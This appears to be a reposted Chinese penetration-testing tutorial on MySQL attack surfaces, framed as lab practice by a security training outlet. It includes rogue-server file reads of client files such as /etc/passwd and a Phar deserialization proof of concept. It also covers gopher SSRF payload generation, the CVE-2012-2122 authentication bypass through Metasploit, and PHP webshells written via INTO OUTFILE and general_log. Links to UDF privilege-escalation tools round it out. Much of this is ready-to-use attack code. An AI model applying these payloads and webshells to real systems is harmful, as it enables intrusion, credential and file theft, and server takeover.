网安教育
培养网络安全人才
技术交流、学习咨询
本次实验使用腾讯云主机的MySQL Server作为服务端,阿里云主机作为MySQL客户端。
其中均使用宝塔面板搭建MySQL8.0版本。
首先要开放腾讯云主机的端口,并且允许MySQL Server允许任意用户远程登录。
适用范围:全版本 MySQL/MariaDB Client
条件:客户端连接时开启 –enable-local-infile
一开始做实验的时候有点懵逼,我作为攻击方去连接受害者的MySQL客户端,然后再读取我本地的文件???
后来我再网上查看这个攻击面的利用场景,虽然确实用的地方比较少,但是看了LoRexxar这篇文章之后,还是很有收获的。
这个实验的前提MySQL变量local_infile=1
CTFer对MySQL的load data infile语句应该都是比较熟悉的,一般形式:
1load data infile "/etc/passwd" into table mytable FIELDS TERMINATED BY 'n';
MySQL Server会读取服务端的/etc/passwd然后将数据按照n分割插入表中,但是非local加载的语句收到secure_file_priv的限制:
1mysql> load data infile "/etc/passwd" into table mytable FIELDS TERMINATED BY 'n';
2ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
3mysql> select @@secure_file_priv;
4+--------------------+
5| @@secure_file_priv |
6+--------------------+
7| NULL |
8+--------------------+
91 row in set (0.00 sec)
但是加上一个local关键字:
1mysql> load data local infile "/etc/passwd" into table mytable FIELDS TERMINATED BY 'n';
2Query OK, 4 rows affected, 1 warning (0.02 sec)
3Records: 4 Deleted: 0 Skipped: 0 Warnings: 1
是可以成功执行的,相当于是读取客户端的文件发送到服务端。
MySQL认为服务端可以要求客户端读取有可读权限的任何文件,客户端不应该连接到不可信的服务端。
那么现在的问题就是如何构造一个恶意的MySQL服务端。
在搞清楚这个问题之前,我们需要研究一下mysql正常执行链接和查询的数据包结构。
1、Sever返回greeting包,包含版本,协议类型,salt值,server功能项
2、客户端登录请求
不知道为啥请求包没有显示用户名,可能是MySQL版本的原因。
3、初始化查询
由于使用了SSL通信,所以这里看不到具体的初始化查询语句。
4、Load file data
这次得把MySQL的SSL连接关闭掉,不然看不到执行语句。方法就是在MySQL的配置文件my.conf的[mysqld]添加skip_ssl即可,再在客户端检查一下是否已经关闭SSL:
确认关闭后,执行load file data语句
1load data local infile '/etc/passwd' into table mytable FIELDS TERMINATED BY 'n';
首先是客户端发发送查询
接着服务端返回了需要的路径,功能类似于告诉客户端把这个文件发给我让我看看
****
然后客户端直接把内容发送到了服务端
从上面这个流程可以看出,客户端读取文件的路径并不是从客户端指定的,而是从服务端指定再发送客户端。
正常的查询流程:
1Client: 我要把/etc/passwd插入表中
2Server: 我要你的/etc/passwd的内容
3Client: /etc/passwd的内容为...
如果是一个恶意的服务端,可以把流程更改为:
1Client: 我要test表中的内容
2Server: 我要你的/etc/passwd的内容
3Client: /etc/passwd的内容为???
并且从MySQL的官方文档中指出服务端可以在任何查询语句后回复文件传输请求,也就是说上面第三个语句是可以执行的。
所以构造一个恶意服务端的流程就是:1.回复MySQL client一个greeting包;2.等待client端发送一个查询包;3.回复一个file transfer包。
发现这个漏洞的原作者给出了POC,但是LoRexxar文中提到这个POC并没有适配所有的情况,部分mysql客户端会在登陆成功之后发送ping包,如果没有回复就会断开连接,也有部分mysql client端对greeting包有较强的校验。
这里就拿网上更改之后的POC来拿做实验:https://github.com/allyshka/Rogue-MySql-Server
暂停MySQL Server服务
1service mysqld stop
运行恶意MySQL服务器脚本
1python rogue_mysql_server.py
客户端访问MySQL服务器
1mysql -h xxx -u root -p
查看mysql.log文件
LoRexxar文章中还接着提到了关于这个漏洞的进一步利用,比如说读取配置文件,Phar反序列化等等。
其中Phar反序列化这个还挺有意思的,首先生成一个phar:
1<?php
2class A {
3 public $s = '';
4 public function __wakeup () {
5 echo "pwned!!";
6 }
7}
8
9
10@unlink("phar.phar");
11$phar = new Phar("phar.phar"); //后缀名必须为phar
12$phar->startBuffering();
13$phar->setStub("GIF89a "."<?php __HALT_COMPILER(); ?>"); //设置stub
14$o = new A();
15$phar->setMetadata($o); //将自定义的meta-data存入manifest
16$phar->addFromString("test.txt", "test"); //添加要压缩的文件
17//签名自动计算
18$phar->stopBuffering();
19?>
然后用test.php模拟一次查询
1<?php
2class A {
3 public $s = '';
4 public function __wakeup () {
5 echo "pwned!!";
6 }
7}
8
9
10$m = mysqli_init();
11mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
12$s = mysqli_real_connect($m, '{evil_mysql_ip}', 'root', '123456', 'test', 3667);
13$p = mysqli_query($m, 'select 1;');
14
伪造的evil mysql server中让mysql client去做load file local查询,读取本地的phar文件。
适用范围:全版本 MySQL/MariaDB Server
条件:拥有空密码用户
之前在总结SSRF漏洞的时候提到过利用SSRF攻击Redis和FastCGI,没写过关于MySQL。
同样的,利用SSRF攻击MySQL也需要了解MySQL的完整交互协议,并且伪造客户端,通过SSRF进行交互连接。
参考文章同样来自于一篇Seebug上的文章:https://paper.seebug.org/510/
这个利用条件比较苛刻,可以归属于未授权访问,因为非交互模式下登录并操作MySQL只能无需密码认证。
关于MySQL的认证过程和报文格式我就不多叙述,这里直接演示一下过程,以腾讯云主机MySQL80作为实验机,本地登录。
首先需要新建一个MySQL用户,并且密码为空,使用root登录MySQL后执行如下命令:
1CREATE USER ' usernopass'@'localhost';
2GRANT USAGE ON *.* TO ' usernopass'@'localhost';
3GRANT ALL ON *.* TO ' usernopass'@'localhost';
有两个办法,一种是用gopherus工具直接生成payload。
另外一种是自己抓包生成原始数据流,再转换成gopher协议的格式。
再利用脚本转换一下:
1def result(s):
2 a=展开收缩 for i in xrange(0,len(s),2)]
3 return "curl gopher://127.0.0.1:3306/_%" + "%".join(a)
4
5if __name__ == '__main__':
6 import sys
7 s=sys.argv[1]
8 print result(s)
但是这两种办法我都没能复现出来,可能是看不到执行的结果。
接下来,可以使用SSRF攻击MySQL,那么就可以利用MySQL写入webshell,但是要求secure_file_priv不能为空。
这个就比较简单了,但是对要求服务端配置可读写目录和正确的用户权限。
读文件:
1SELECT LOAD_FILE ('/var/lib/mysql-files/aaa') AS Result;
1create database test;
2CREATE TABLE test (id TEXT, content TEXT);
3load data infile "/var/lib/mysql-files/aaa" into table test.test FIELDS TERMINATED BY 'nr' ;
写文件:
1select group_concat (id) from test INTO OUTFILE "/var/lib/mysql-files/aaaa";
提权就不写那么详细了,主要是参考m00nback的文章:https://www.m00nback.xyz/2020/03/30/mysql提权总结/
CVE-2012-2122
该漏洞是身份认证绕过漏洞,当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。
影响版本:
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
MSF有相关利用模块:use auxiliary/scanner/mysql/mysql_authbypass_hashdump
写shell
1、outfile写shell
跟上面描述的差不多,关键还是secure_file_priv这个参数,而且是只读参数,必须更改MySQL的配置文件再重启MySQL服务。
来个
1select '<?php @eval($_POST[1]);?>' into outfile "/var/lib/mysql-files/aaa";
2、日志写shell
前提是知道MySQL root用户密码,第一步开启日志记录:
1set global general_log='on';
日志文件导出到指定目录:
1set global general_log_file="/tmp/shell.php";
记录SQL语句写shell:
1select "<?php array_udiff_assoc(array($_REQUEST[1]), array(1), "ass"."ert");?>";
关闭记录:
1set global general_log='off';
3、UDF提权
大马提权:https://github.com/echohun/tools/blob/master/大马/udf.php
手工提权:https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql
https://cooltige.com/2020/06/02/Mysql-Udf提权/
https://xz.aliyun.com/t/2199
文:CA01H's Blog
链接:https://ca0y1h.top/Web_security/basic_learning/
如有侵权请联系删除
战疫期间,开源聚合网络安全基础班、实战班线上全面开启,学网络安全技术、升职加薪……有兴趣的可以加入开源聚合网安大家庭,一起学习、一起成长,考证书求职加分、升级加薪,有兴趣的可以咨询客服小姐姐哦!
加QQ(1005989737)找小姐姐私聊哦
本文始发于微信公众号(开源聚合网络空间安全研究院):【渗透测试要点】MySQL攻击面和提权总结
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论